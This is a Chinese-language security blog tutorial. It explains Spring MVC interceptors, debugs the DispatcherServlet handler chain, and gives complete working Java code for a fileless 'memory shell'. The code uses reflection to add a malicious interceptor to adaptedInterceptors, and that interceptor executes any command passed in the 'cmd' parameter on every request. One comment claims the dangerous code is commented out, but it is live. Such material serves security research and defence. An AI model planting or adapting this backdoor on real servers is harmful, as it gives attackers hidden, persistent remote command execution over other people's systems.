Spring Interceptor内存马

约 30 分钟读完

Spring Interceptor内存马

Spring Interceptor(拦截器)

1. 是什么?

Spring Interceptor 是 Spring MVC 框架提供的一个机制,用于在请求处理的特定阶段(如进入控制器方法前、渲染视图后等)执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。

2. 核心接口:HandlerInterceptor

开发者需要实现 org.springframework.web.servlet.HandlerInterceptor 接口,并重写以下三个方法:

  • preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
    • 在控制器方法执行前调用。
    • 返回值为boolean:
      • true: 继续执行后续的拦截器和控制器方法。
      • false: 中断流程,不再执行后续操作(通常在此处进行权限校验、日志记录、参数预处理等)。
  • postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView)
    • 在控制器方法执行完毕后,但在视图渲染前调用。
    • 可以对 ModelAndView 对象进行修改或添加额外数据。
  • afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
    • 在整个请求完成(包括视图渲染)后调用。
    • 主要用于资源清理工作,无论是否发生异常都会执行。

3. 注册与使用

通过实现 WebMvcConfigurer 接口并重写 addInterceptors 方法来注册拦截器:

@Configuration
public class WebConfig implements WebMvcConfigurer {

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        // 添加自定义拦截器,并指定拦截路径
        registry.addInterceptor(new MyCustomInterceptor())
                .addPathPatterns("/api/**") // 拦截所有 /api/ 开头的请求
                .excludePathPatterns("/api/public/**"); // 排除公共接口
    }
}

4. 典型应用场景

  • 身份认证与授权:检查用户登录状态和权限。
  • 日志记录:记录请求信息、耗时等。
  • 性能监控:统计接口响应时间。
  • 跨域处理:统一设置 CORS 头。
  • 参数预处理/后处理:如解密、加密、数据格式化。

代码演示

新建项目

![image-20251028161434167](/public/img/Spring Interceptor内存马/image-20251028161434167.png)

![image-20251028161453250](/public/img/Spring Interceptor内存马/image-20251028161453250.png)

Spring的版本不同, 内存马注入所依赖的类不同, 此处以2.4.2为例

实现接口

在目录下新建类TestInterceptor实现HandlerInterceptor接口

package org.example.interceptordemo.demos.web;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        // 注释掉危险的命令执行代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            Runtime.getRuntime().exec(cmd);
        }
        return true;
    }

}

注册使用

package org.example.interceptordemo.demos.web;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new TestInterceptor()).addPathPatterns("/int");
    }
}

新建类WebConfig类实现WebMvcConfigurer接口, 注册interveptor.

然后启动项目, 访问/int?cmd=calc就会弹出计算器.

调试分析

TestInterceptor类中打上断点,

![image-20251028193921739](/public/img/Spring Interceptor内存马/image-20251028193921739.png)

启动项目后访问http://127.0.0.1:8080/int?cmd=calc, 然后开始调试,

![image-20251028194827883](/public/img/Spring Interceptor内存马/image-20251028194827883.png)

查看他先前执行的堆栈.

![image-20251028195015546](/public/img/Spring Interceptor内存马/image-20251028195015546.png)

点到DispatcherServlet中, 查看变量

![image-20251028195157217](/public/img/Spring Interceptor内存马/image-20251028195157217.png)

mappedHandler中有我们注册的拦截器TestInterceptor

往上翻, 查看mappedHandler的定义和赋值, 分别在

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ................
        HandlerExecutionChain mappedHandler = null;
        ................
        mappedHandler = this.getHandler(processedRequest);            

在赋值的位置再打一个断点, 重新启动项目访问路径继续分析

![image-20251028195652513](/public/img/Spring Interceptor内存马/image-20251028195652513.png)

步入进去this.getHandler, 来到

  @Nullable
    protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            for(HandlerMapping mapping : this.handlerMappings) {
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }

        return null;
    }

这段代码的作用是为HTTP请求找到合适的处理器(Handler):

  • 遍历HandlerMapping列表:this.handlerMappings包含了所有已注册的HandlerMapping对象,这些对象负责将请求URL映射到具体的处理器方法。

  • 查找匹配的处理器:对于每个HandlerMapping,调用其getHandler(request)方法尝试获取能够处理当前请求的处理器。

  • 返回处理器执行链:如果找到合适的处理器,HandlerMapping会返回一个HandlerExecutionChain对象,其中包含了:

    • 实际的处理器(Controller方法)

    • 应用于该请求的所有拦截器(Interceptors)

  • 短路返回:一旦找到匹配的处理器,立即返回,不再继续遍历其他HandlerMapping。

  • 未找到处理器返回null:如果遍历完所有HandlerMapping都没有找到匹配的处理器,则返回null。

继续步入调式, 当执行到第五次循环的时候, 就会执行到AbstractHandlerMapping类的HandlerExecutionChain方法中的this.getHandlerExecutionChain这一步

![image-20251028202050461](/public/img/Spring Interceptor内存马/image-20251028202050461.png)

步入getHandlerExecutionChain

 protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);

        for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
            if (interceptor instanceof MappedInterceptor) {
                MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
                if (mappedInterceptor.matches(request)) {
                    chain.addInterceptor(mappedInterceptor.getInterceptor());
                }
            } else {
                chain.addInterceptor(interceptor);
            }
        }

        return chain;
    }

这段代码的主要作用是为特定请求构建完整的处理器执行链,包括处理器本身以及适用的拦截器:

  1. 创建或转换 HandlerExecutionChain:
    • 如果传入的 handler 已经是 HandlerExecutionChain 类型,则直接使用
    • 否则,创建一个新的 HandlerExecutionChain 实例,并将 handler 作为处理器添加进去
  2. 添加适用的拦截器:
    • 遍历所有适配的拦截器 this.adaptedInterceptors
    • 对于 MappedInterceptor 类型的拦截器:
      • 检查它是否适用于当前请求(通过 mappedInterceptor.matches (request) 方法)
      • 如果匹配,则将其内部的实际拦截器添加到执行链中
    • 对于其他类型的拦截器:
      • 直接添加到执行链中(这些通常是全局拦截器)
  3. 返回完整的执行链:
    • 最终返回一个包含了处理器和所有适用性拦截器的执行链

这段代码的核心就是chain.addInterceptor(interceptor) , 它的作用是将拦截器添加到处理器执行链中

查看adaptedInterceptors的类型

  private final List<HandlerInterceptor> adaptedInterceptors = new ArrayList();

在 Interceptor 内存马攻击中,利用反射机制获取 AbstractHandlerMapping 中的私有字段 adaptedInterceptors,并绕过访问控制(setAccessible(true)),将一个实现了 HandlerInterceptor 接口的恶意类实例直接添加到该列表中。由于该列表是所有请求共享的拦截器源,一旦注入成功,后续任意 HTTP 请求只要经过该 HandlerMapping 的处理流程,就会触发恶意 preHandle 方法,从而实现无文件落地的远程命令执行。

在一开始的调试中,

![image-20251028204953732](/public/img/Spring Interceptor内存马/image-20251028204953732.png)

preHandle 是被 DispatcherServlet 驱动的,中间经过了 HandlerExecutionChain

所以大致流程

DispatcherServlet → getHandler() 
               → mapping.getHandler() 
               → getHandlerExecutionChain() 
               → 遍历 this.adaptedInterceptors 把每个 interceptor 加入 chain

编写内存马

前置了解

  • 必须参与每一次请求处理

    • 内存马不是一次性后门,而是持久化监听机制
    • 所以恶意逻辑必须在 每个匹配的 HTTP 请求 中被自动
  • 必须进入 HandlerExecutionChain

    • Spring MVC 在处理请求时,会为每个请求创建一个 HandlerExecutionChain
    • 这个链包含:
      • 目标处理器(如 Controller 方法)
      • 所有匹配的 HandlerInterceptor 拦截器
    • 只有在这个链中的拦截器,才会被 applyPreHandle() 调用。

    所以:恶意拦截器必须出现在 HandlerExecutionChain

  • 必须在 adaptedInterceptors

    • 查看 AbstractHandlerMapping.getHandlerExecutionChain() 源码:

      protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
          HandlerExecutionChain chain = ...;
          for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
              chain.addInterceptor(interceptor);
          }
          return chain;
      }

      关键点:

      • this.adaptedInterceptors 是拦截器的唯一来源
      • 它是一个 List<HandlerInterceptor>,存储了所有注册的拦截器
      • 所有请求都会遍历它,把里面的拦截器加入当前 chain

      所以:只要你的拦截器在 adaptedInterceptors 里,就会自动进入每一个 HandlerExecutionChain

  • 必须拿到持有它的实例

    • adaptedInterceptorsAbstractHandlerMappingprotected final 字段
    • 虽然不能重新赋值,但其内部的 List 是可变的(ArrayList),可以 add 元素
    • 但你必须先拿到 那个正在被使用的 HandlerMapping 实例

    而在标准 Spring Boot 应用中:

    • 处理 @Controller@RequestMapping 的是 RequestMappingHandlerMapping
    • 它继承自 AbstractHandlerMapping,因此持有 adaptedInterceptors
    • 它是 Spring 自动创建并注册的单例 Bean
    • 几乎所有动态请求都会经过它

    所以:必须获取 RequestMappingHandlerMapping 实例

  • 必须通过 WebApplicationContext

  • 攻击者处于一个“外来代码执行”环境(如反序列化、SpEL 注入)

  • 他无法直接new RequestMappingHandlerMapping() —— 因为:

    • 这个 Bean 有复杂的依赖(如 ContentNegotiationManager
    • 即使 new 出来也不会被 DispatcherServlet 使用
  • 唯一可靠的方式是:从 Spring 容器中取出 正在运行的那个实例

WebApplicationContext 正是:

  • Spring Web 应用的根容器
  • 管理所有 Bean 的生命周期
  • 提供 getBean(Class) 方法来获取指定类型的 Bean

所以:

WebApplicationContext context = ...; // 获取上下文
RequestMappingHandlerMapping rmhm = 
    context.getBean(RequestMappingHandlerMapping.class); // 取出真实实例

所以:必须先获取 WebApplicationContext,才能拿到 RequestMappingHandlerMapping

流程

+-----------------------------------------------------------+
|                     攻击者触发漏洞                         |
|                                                           |
|  (例如:反序列化、SpEL 注入等)                           |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|               进入 HTTP 请求处理线程                      |
|                                                           |
|  (具备 Request 上下文)                                    |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|       获取 WebApplicationContext 实例                     |
|                                                           |
|  通过 RequestContextHolder.currentRequestAttributes()    |
|  和 getAttribute("org.springframework.web.servlet.       |
|  DispatcherServlet.CONTEXT", 0) 获取上下文                |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|   从容器中获取 RequestMappingHandlerMapping 实例          |
|                                                           |
|  context.getBean(RequestMappingHandlerMapping.class)      |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|   反射访问 adaptedInterceptors 字段                       |
|                                                           |
|  Field field = AbstractHandlerMapping.class.getDeclaredField|
|  ("adaptedInterceptors");                                |
|  field.setAccessible(true);                              |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|   修改 List<HandlerInterceptor> interceptors              |
|                                                           |
|  List<HandlerInterceptor> interceptors =                  |
|  (List<HandlerInterceptor>) field.get(rmhm);              |
|  interceptors.add(new MaliciousInterceptor());            |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|        恶意拦截器已成功注入到全局拦截器列表                |
|                                                           |
|  此时,所有匹配该 HandlerMapping 的请求都会经过           |
|  包含恶意拦截器的 HandlerExecutionChain                   |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|     用户发起任意 HTTP 请求(如 /index.html?cmd=whoami)   |
|                                                           |
|  触发 DispatcherServlet.doDispatch()                      |
|  → mapping.getHandler(request)                            |
|  → getHandlerExecutionChain()                             |
|  → 遍历 this.adaptedInterceptors                          |
|  → chain.applyPreHandle()                                 |
|  → 触发 MaliciousInterceptor.preHandle()                  |
|  → 执行命令(如 Runtime.exec(cmd))                       |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|         命令执行结果返回给攻击者                          |
|                                                           |
|  (例如:弹出计算器、回显系统命令输出等)                 |
+-----------------------------------------------------------+

完整代码

package org.example.interceptordemo.demos.web;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

@RestController
public class InterceptorShell implements HandlerInterceptor {
    @RequestMapping("/inject")
    public String inject() {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping r = null;
        if (context != null) {
            r = context.getBean(RequestMappingHandlerMapping.class);
        }
        try {
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(r);
            list.add(new TestInterceptor());
        } catch (NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return "inject success";
    }

    public static class TestInterceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            System.out.println("preHandle");
            String cmd = request.getParameter("cmd");
            Runtime.getRuntime().exec(cmd);
            return HandlerInterceptor.super.preHandle(request, response, handler);
        }
    }

}

访问/inject路径注入

然后访问/inject?cmd=calc等就可以触发

← Tomcat Valve内存马 Spring Controller 内存马 →